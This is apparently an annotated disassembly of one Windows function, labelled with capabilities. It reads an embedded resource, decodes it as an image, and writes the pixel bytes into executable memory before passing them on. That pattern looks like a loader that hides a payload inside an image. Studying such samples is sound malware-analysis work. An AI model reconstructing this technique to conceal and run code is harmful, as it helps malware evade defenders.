Function at 0x401e50
Capabilities:
Allocate or change rwx memory
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xe0
mov dword [ebp - 0x98], 0
mov dword [ebp - 0x80], 1
mov dword [ebp - 0x7c], 0
mov dword [ebp - 0x78], 0
mov dword [ebp - 0x74], 0
push 0
lea eax, [ebp - 0x80]
push eax
lea ecx, [ebp - 0x18]
push ecx
call sub.gdiplus.dll_GdiplusStartup
call dword [sym.imp.USER32.dll_GetDesktopWindow]
mov dword [ebp - 0x8c], eax
lea edx, [ebp - 0x60]
push edx
mov eax, dword [ebp - 0x8c]
push eax
call dword [sym.imp.USER32.dll_BeginPaint]
mov dword [ebp - 0xac], eax
mov dword [ebp - 0xbc], 0
lea ecx, [ebp - 0xbc]
push ecx
mov edx, dword [ebp - 0xac]
push edx
call sub.gdiplus.dll_GdipCreateFromHDC
mov dword [ebp - 0x64], eax
mov eax, dword [ebp - 0xbc]
mov dword [ebp - 0x68], eax
push 0x403118
push 0x6a
mov ecx, dword [0x402530]
push ecx
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov dword [ebp - 0xa8], eax
mov edx, dword [ebp - 0xa8]
push edx
mov eax, dword [0x402530]
push eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 0x90], eax
mov ecx, dword [ebp - 0xa8]
push ecx
mov edx, dword [0x402530]
push edx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov dword [ebp - 0xa0], eax
mov eax, dword [ebp - 0x90]
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov dword [ebp - 0x88], eax
mov dword [ebp - 0x9c], 0
mov ecx, dword [ebp - 0xa0]
push ecx
mov edx, dword [ebp - 0x88]
push edx
lea ecx, [ebp - 0x14]
call fcn.00401000
push 0x10
call sub.gdiplus.dll_GdipAlloc
mov dword [ebp - 0xc0], eax
cmp dword [ebp - 0xc0], 0
je 0x401f89
push 0
lea eax, [ebp - 0x14]
push eax
mov ecx, dword [ebp - 0xc0]
call fcn.004022c0
mov dword [ebp - 0xe0], eax
jmp 0x401f93
mov dword [ebp - 0xe0], 0
mov ecx, dword [ebp - 0xe0]
mov dword [ebp - 0x9c], ecx
mov dword [ebp - 0xc4], 0
lea edx, [ebp - 0xc4]
push edx
mov eax, dword [ebp - 0x9c]
mov ecx, dword [eax + 4]
push ecx
call sub.gdiplus.dll_GdipGetImageWidth
mov dword [ebp - 0xc8], eax
cmp dword [ebp - 0xc8], 0
je 0x401fdd
mov edx, dword [ebp - 0x9c]
mov eax, dword [ebp - 0xc8]
mov dword [edx + 8], eax
mov ecx, dword [ebp - 0xc4]
mov dword [ebp - 0x70], ecx
mov dword [ebp - 0xcc], 0
lea edx, [ebp - 0xcc]
push edx
mov eax, dword [ebp - 0x9c]
mov ecx, dword [eax + 4]
push ecx
call sub.gdiplus.dll_GdipGetImageHeight
mov dword [ebp - 0xd0], eax
cmp dword [ebp - 0xd0], 0
je 0x402024
mov edx, dword [ebp - 0x9c]
mov eax, dword [ebp - 0xd0]
mov dword [edx + 8], eax
mov ecx, dword [ebp - 0xcc]
mov dword [ebp - 0x6c], ecx
mov edx, dword [ebp - 0x70]
imul edx, dword [ebp - 0x6c]
shl edx, 2
mov dword [ebp - 0x84], edx
push 0x40
push 0x1000
mov eax, dword [ebp - 0x84]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0xa4], eax
mov dword [ebp - 0x1c], 0xff000000
mov dword [ebp - 0x94], 0
mov dword [ebp - 0xb0], 0
jmp 0x402085
mov ecx, dword [ebp - 0xb0]
add ecx, 1
mov dword [ebp - 0xb0], ecx
mov edx, dword [ebp - 0xb0]
cmp edx, dword [ebp - 0x6c]
jae 0x4021f1
mov dword [ebp - 0xb4], 0
jmp 0x4020af
mov eax, dword [ebp - 0xb4]
add eax, 1
mov dword [ebp - 0xb4], eax
mov ecx, dword [ebp - 0xb4]
cmp ecx, dword [ebp - 0x70]
jae 0x4021ec
lea edx, [ebp - 0xd4]
push edx
mov eax, dword [ebp - 0xb0]
push eax
mov ecx, dword [ebp - 0xb4]
push ecx
mov edx, dword [ebp - 0x9c]
mov eax, dword [edx + 4]
push eax
call sub.gdiplus.dll_GdipBitmapGetPixel
mov dword [ebp - 0xdc], eax
cmp dword [ebp - 0xdc], 0
je 0x402110
mov ecx, dword [ebp - 0x9c]
mov edx, dword [ebp - 0xdc]
mov dword [ecx + 8], edx
mov eax, dword [ebp - 0xdc]
mov dword [ebp - 0xd8], eax
jmp 0x40211c
mov ecx, dword [ebp - 0xdc]
mov dword [ebp - 0xd8], ecx
cmp dword [ebp - 0xd8], 0
jne 0x40212e
mov edx, dword [ebp - 0xd4]
mov dword [ebp - 0x1c], edx
mov eax, dword [ebp - 0x1c]
shr eax, 0x18
mov byte [ebp - 0xb5], al
mov ecx, dword [ebp - 0xa4]
add ecx, dword [ebp - 0x94]
mov dl, byte [ebp - 0xb5]
mov byte [ecx], dl
mov eax, dword [ebp - 0x94]
add eax, 1
mov dword [ebp - 0x94], eax
mov ecx, dword [ebp - 0x1c]
shr ecx, 0x10
mov byte [ebp - 0xb8], cl
mov edx, dword [ebp - 0xa4]
add edx, dword [ebp - 0x94]
mov al, byte [ebp - 0xb8]
mov byte [edx], al
mov ecx, dword [ebp - 0x94]
add ecx, 1
mov dword [ebp - 0x94], ecx
mov edx, dword [ebp - 0x1c]
shr edx, 8
mov byte [ebp - 0xb7], dl
mov eax, dword [ebp - 0xa4]
add eax, dword [ebp - 0x94]
mov cl, byte [ebp - 0xb7]
mov byte [eax], cl
mov edx, dword [ebp - 0x94]
add edx, 1
mov dword [ebp - 0x94], edx
mov al, byte [ebp - 0x1c]
mov byte [ebp - 0xb6], al
mov ecx, dword [ebp - 0xa4]
add ecx, dword [ebp - 0x94]
mov dl, byte [ebp - 0xb6]
mov byte [ecx], dl
mov eax, dword [ebp - 0x94]
add eax, 1
mov dword [ebp - 0x94], eax
jmp 0x4020a0
jmp 0x402076
mov edx, dword [ebp - 0x84]
mov ecx, dword [ebp - 0xa4]
call fcn.00401a60
push 0x8000
mov ecx, dword [ebp - 0x84]
push ecx
mov edx, dword [ebp - 0xa4]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, dword [ebp - 0xac]
push eax
mov ecx, dword [ebp - 0x8c]
push ecx
call dword [sym.imp.USER32.dll_ReleaseDC]
lea edx, [ebp - 0x60]
push edx
mov eax, dword [ebp - 0x8c]
push eax
call dword [sym.imp.USER32.dll_EndPaint]
lea ecx, [ebp - 0x14]
call fcn.00401040
mov ecx, dword [ebp - 0x68]
push ecx
call sub.gdiplus.dll_GdipDeleteGraphics
mov esp, ebp
pop ebp
ret